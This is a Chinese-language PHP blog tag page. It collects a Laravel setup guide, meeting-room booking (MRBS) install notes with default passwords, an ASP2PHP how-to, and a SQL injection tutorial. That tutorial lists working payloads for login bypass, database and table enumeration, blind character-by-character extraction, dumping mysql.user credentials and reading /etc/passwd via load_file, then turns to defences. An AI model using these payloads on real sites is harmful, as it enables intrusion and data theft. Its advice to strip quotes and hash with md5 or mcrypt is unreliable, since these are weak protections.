顯示具有 PHP 標籤的文章。 顯示所有文章
顯示具有 PHP 標籤的文章。 顯示所有文章

2018年3月9日 星期五

PHP Laravel 開發入門

source: http://www.codedata.com.tw/uncategorized/php-laravel-dev-tutorial-1st-class-getting-started

簡介

Laravel是近年來相當熱門的PHP框架,雖然PHP是容易學習與撰寫的程式語言,但當網站專案日漸龐大時,沒有一套規範來管理這些程式碼,不僅造成錯誤叢生、維護困難,更造成開發人員的負擔。而眾多的PHP框架也為了解決這些問題如雨後春筍般林立,至於為什麼選擇Laravel的原因為何?主要是少了許多繁瑣的設定,而框架的觀念也淺顯易懂,更可以搭配命令列指令,加快開發的速度,也因此獲得許多開發者的青睬,在最近幾年的評比中都名列前矛。引述Laravel 台灣的Laravel 哲學
Laravel 是一套富有表達性且具有簡潔語法的網頁應用程式框架。我們認為開發過程應該是愉悅且有創造性的體驗。Laravel 努力減少開發過程中的不便,因此我們提供了驗證(authentication)、路由(routing)、sessions、快取(caching) 等開發過程中經常用到的工具或功能。
Laravel 目標是給開發者創造一個愉快的開發過程,並且不犧牲應用程式的功能性。快樂的開發者才能創造最棒的原始碼。為了這個目的,我們竭取了各框架的優點集中到 Laravel 中,這些框架甚至是基於 Ruby on Rails、ASP.NET MVC 和 Sinatra 等開發語言或工具。
Laravel 是易於理解且強大的,它提供了強大的工具來開發大型、穩健的應用程式。傑出的 IoC、資料庫遷移工具和緊密集成的單元測試,這些工具賦予你構建任何應用程式的能力。
在這個單元中,會教導讀者如何在Windows環境中開發Laravel程式。

系統需求

由於Laravel會使用到許多PHP的特殊功能,甚至會使用到新的PHP版本中特性,所以在學習Laravel前需注意相關設定及環境需求。
以上需求為Laravel 5.3
  • PHP >= 5.6.4
  • OpenSSL PHP Extension
  • PDO PHP Extension
  • Mbstring PHP Extension
  • Tokenizer PHP Extension
  • XML PHP Extension
另外還需要安裝Composer這個工具,Composer是一個PHP依賴性管理工具。透過宣告專案需要的依賴函式庫,能在專案中安裝/管理/更新這些套件。

安裝

一、安裝Apache、MySQL、PHP環境
為了讓讀者能快速的撰寫程式,作者在Github上已經整理出一個適合開發Laravel的XAMPP環境。我們進到 https://github.com/superlevin/xamppforlaravel 點選 Clone or Download 後按 Download ZIP。

下載後,解壓縮到d:\xampp就可以運作了。執行 xampp-control 後,開啟相關服務即可。

二、安裝 composer,到 https://getcomposer.org/download/ 下載Composer-Setup.exe

安裝時,將PHP路徑指向D:\xampp\php.exe

三、進入終端機模式(開始→執行  cmd),然後設定php到系統變數
set PATH=%PATH%;d:\xampp\php
四、新增Laravel專案,進入終端機模式(開始→執行  cmd)
進入d:\xampp\htdocs目錄,輸入 composer create-project laravel/laravel blog –prefer-dist

然後可以去泡杯咖啡小憩片刻後,最後看到 Application key就代表完成了!

五、接著來看看Laravel安裝完的初始畫面。一種是透過xampp,在網址列打上 http://localhost:8899/blog/public\ 就可以看到頁面;第二種呢,直接透過命令列模式,切換到 xampp\htdocs\blog下面輸入 php artisan serve,接著到 http://localhost:8000/就可以看到畫面。我們下次見!


PHP Laravel 開發入門(二) – 設置與目錄架構



2016年1月15日 星期五

會議室預約系統(mrbs)


http://yucheng48.pixnet.net/blog/post/177180377-%E6%9C%83%E8%AD%B0%E5%AE%A4%E9%A0%90%E7%B4%84%E7%B3%BB%E7%B5%B1(mrbs)

Meeting room booking system (mrbs) 是一個open source的php程式碼

它是base on lamp來使用

建置


建置的方式主要分成三部分:
1.mbrs資料夾到web server
2.新增mbrs資料庫
3.參數設定,設定時區與資料庫

1.
apache認識的資料夾(web server)底下創一個資料夾mbrs
在解壓縮下載的檔案後,把web資料夾內容全部複製到mbrs

2.
新增一個資料庫mbrs,排序規則為utf8_general_ci
若是MySQL,則將tables.my.sql匯入資料庫
MySQL版本小於4.1則將tables.my.pre41.sql匯入資料庫
若要匯入一些sample的資料可將sample-data.sql匯入

3.
開啟config.inc設定檔案

timezone改為Asia/Taipei,如下
$timezone = "Asia/Taipei";

設定連接資料庫內容
資料庫:mrbs
帳號:root
密碼:password

// Which database system: "pgsql"=PostgreSQL, "mysql"=MySQL,
// "mysqli"=MySQL via the mysqli PHP extension
$dbsys = "mysql";
// Hostname of database server. For pgsql, can use "" instead of localhost
// to use Unix Domain Sockets instead of TCP/IP.
$db_host = "localhost";
// Database name:
$db_database = "mrbs";
// Database login user name:
$db_login = "root";
// Database login password:
$db_password = 'password';
// Prefix for table names.  This will allow multiple installations where only
// one database is available
$db_tbl_prefix = "mrbs_";

帳號設定

開啟systemdefaults.inc

在第646行可看到帳號的設定與預設的帳號
// Format: $auth["user"]["name"] = "password";
$auth["user"]["administrator"] = "secret";
$auth["user"]["alice"] = "a";
$auth["user"]["bob"] = "b";

$auth["user"]["Sean"] = "123";

依照格式可設定成想要設定的登入帳號和密碼

結論

此會議室預約系統使用的角色分成三個部分,GUESTAUCENTICATION USERADMINISTRATOR
GUEST的角色是沒有登入帳號的身分,他能看到所有會議室被借用的時間以及是誰預約的,但他不能從事借會議室的行為。
AUCENTICATION USER是一般擁有帳號密碼的使用者,登入此系統後除了可以查看會議室狀況以外也可以進行預約的行為,但對於修改與刪除會議室預約的方面只能對自己預約的會議室進行修正。
ADMINISTRATOR是擁有最高權限的管理者,他能進行所有的工作,包括查看會議室預約狀況、新增修改刪除所有的預約、管理會議室的新增修改刪除的方面。
此會議室預約系統還擁有一個很方便的功能,就是他能將預約會開會的詳細內容(時間地點會議內容)做成行事曆檔案,我們可以將它下載下來並用群組信件的方式寄給每個人,是一個很方便的通知功能。

2015年12月4日 星期五

無痛移轉 PHP 網頁至 MVC 架構

阿吉的網頁


https://sites.google.com/site/ageechen/work_notes/web-developing-in-php/move-php-page-to-mvc


ASP2PHP的用法

http://www.blueshop.com.tw/board/FUM201412241618269T8/ATL20050331000000350.html

ASP2PHP的用法是這樣的:
1.下載ASP2PHP"主程式",為一DOS執行檔,放在哪隨便你
http://asp2php.naken.cc/
2.再下載JAPWG(ASP2PHP的GUI,使用者介面),解壓到同1.的目錄去
http://hem.passagen.se/lindau/apwg/download.htm
3.開啟解壓完的那個目錄,用記事本開啟其內的jAPWG.conf

# jAPWG conf file
asp2php=asp2php.exe
#Leave this line...

把asp2php=那一行改成像上面一樣(也就是jAPWG.conf內容改成這樣)

4.請記住你務必要有Java Runtime元件(JRE 1.3.1)
不然無法使用
5.(如果有)請把WinRAR或其他壓縮軟體的檔案關聯去掉*.jar這一個
6.請回到之前的目錄,雙按japwg.jar,再等1~2分(Java編譯中)
7.恭喜你成功了,使用方法不必教了吧...

http://www.filewatcher.com/m/asp2php-0.75.13-gui.tgz.42008-0.html

2001-05-30  ftp://ftp.tw.openbsd.org/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.se.openbsd.org/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-28  ftp://mirror.planetunix.net/pub/OpenBSD-archive/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.vim.org/vol/2/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.linux.kiev.ua/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.su.se/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.gts.cz/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.unina.it/pub/Unix/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.df.lth.se/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.yandex.ru/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.belnet.be/mirror/pub/ftp.openbsd.org/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.belnet.be/mirror/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.belnet.be/mirror/ftp.openbsd.org/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.isu.edu.tw/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-30  ftp://ftp.stu.edu.tw/BSD/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.isu.net.sa/pub/ftp.openbsd.org/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.ntut.edu.tw/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.ulak.net.tr/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.lug.udel.edu/pub/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.hostserver.de/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp.lysator.liu.se/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://mirror.bytemark.co.uk/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-28  ftp://mirror.ancl.hawaii.edu/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp2.se.freebsd.org/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://ftp5.ru.freebsd.org/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://80.92.105.240/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://192.87.102.42/vol/2/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://194.47.250.18/pub/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://91.123.193.79/OpenBSD/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz
2001-05-29  ftp://213.180.204.183/openbsd/2.9/packages/powerpc/asp2php-0.75.13-gui.tgz





2015年11月26日 星期四

PHP教學網站_The Right Way.


http://laravel-taiwan.github.io/php-the-right-way/


SQL Injection 常見的駭客攻擊方式








Sql Injection 應該可以說是目前網路上,駭客最常用的攻擊方式,因為攻擊方式簡單,又不需要使用任何軟體,或是自行撰寫程式。講到 SQL,就要提到資料庫,大多數的網站都會安裝資料庫伺服器(Database),其實 Database 並不是什麼可怕的東西,Database 的功能就是將資料依序儲存下來,然後以最快的速度,找出你想要的資料,而在尋找資料之前,你必須輸入 Database 指令,你輸入的這串指令,我們就稱為 SQL 語法。
Sql Injection 就是指 SQL 語法上的漏洞,藉由特殊字元,改變語法上的邏輯,駭客就能取得資料庫的所有內容,當然也包含了會員的帳號,密碼,下面就舉一個SQL登入漏洞:
一個有會員登入功能的網站,都會需要輸入帳號與密碼來進行驗證
而後端程式,如 PHP 就必需支援相關的登入檢查,判定 User 輸入的帳號、密碼是否正確,來確定登入是否成功 ,PHP 執行的 SQL 語法如下,這是一個簡單的 SQL 語法,主要功能是從 members 這個資料表中,取出符合 User 所輸入帳號與密碼的會員資料。
select * from members where account='$name' and password='$password'
但若是駭客輸入有特殊字元的帳號:「 ' or 1=1 /* 」,密碼:「任意值」
這時SQL語法就會變成:
select * from members where account='' or 1=1 /*' and password=''
因為「/*」在 MySQL 語法中代表註解的意思,所以「/*」後面的字串通通沒有執行,而這句判斷式「1=1」永遠成立,駭客就能登入此網站成功。

SQL 語法的註解

SQL 註解的語法有以下三種,不同的 SQL 版本,會吃不同的語法。
  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 對於 browser 來說是有意義的,那是錨點的意思,所有必須先透過 Url Encode 後的代碼 「%23」 來代替。

防護方式

Sql Injection攻擊很簡單,不過防護也不難,只要過瀘字串「'」,即可,當然如果你的SQL語法寫得很糟,保險的做法是過瀘「' " 」等字串,並檢查變數型態「數字、字元、字串」,另外會員的密碼最好是經過加密,如 md5 或 Double md5 演算法加密,這樣就能避免資料外洩時,密碼也同時外洩,還有要特別注意,md5 目前已經有破解方式,改用 mcrypt 會是更好的加密方式。
PHP 過瀘 SQL Injection 的語法:
$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一種過瀘方式
  1. $str = "'\"";
  2. $replace = array("'" => "'", "\"" => """);
  3. $str = strtr($str, $replace);
Sql Injection的攻擊方式會因不同的資料庫而有不同的語法, 如 MsSQL的註解是用 「--」MySQL的另一個註解是用 「#

SQL Injection 攻擊

取得 Table name

如果網站連接 database 使用的帳號,有權限讀取 INFORMATION_SCHEMA database,這樣就能直接搜尋任何一個 table 名稱,如
  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #
取得所有資料庫名稱
  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;
取得所有資料表名稱
  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--
一般來說,information_schema 這個資料庫是沒有權限讀取的,尤其是市面上常見的虛擬主機,大部分的虛擬主機只能使用伺服器給的控制台來新增資料庫,沒辦法透過程式讀取所有的資料庫,這時駭客們會開始用猜的方式,來取得資料表的名稱,例如會員資料常會使用的 table 名稱為 users , members 等等。
猜測 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);
  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜測 Table Name

資料表的名稱不一定都是英文單字,有些工程師會使用怪怪的命名,這時駭客還是可以使用暴力破解的方式,將 Table Name 拼出來。
SQL 有個 function : substring ,這個功能可以對字串做切割,駭客可以先將「字串」切割成一個字元。
接著使用 ord 將字元轉成 Ascii Code ,然後去比對他的 Ascii Code 是否 = 32~ 127 , a = 97b = 98
看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第一個字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一個範例,我要比對 information_schema.tables 第一筆資料的第一個 table_name ,其中的第二個字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 資料庫相關訊息

取得連線帳號 user()
  • sqlInjection.php?id=1' select 1,2,user()/*
取得 Mysql 版本 version()
  • sqlInjection.php?id=1' select 1,2,version()/*

讀取系統檔案內容

透過 mysql 的 method 「load_file」,駭客就能輕易取得網站的檔案內容。
  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php
PDO 是一個可以 query 資料庫的程式,我們能夠透過 PDO 連到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防護機制,使用 bindValue 的方式,PDO 會自動檢查數據格式,並轉換特殊字元,再將 User Input 填入 SQL 語法中。
PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", '', 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\'');
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 數字
  • PDO::PARAM_STR 字串

相關教學下載



2014年12月26日 星期五

PHP function: 亂數密碼產生

http://blog.longwin.com.tw/2007/08/php_function_gen_password_2007/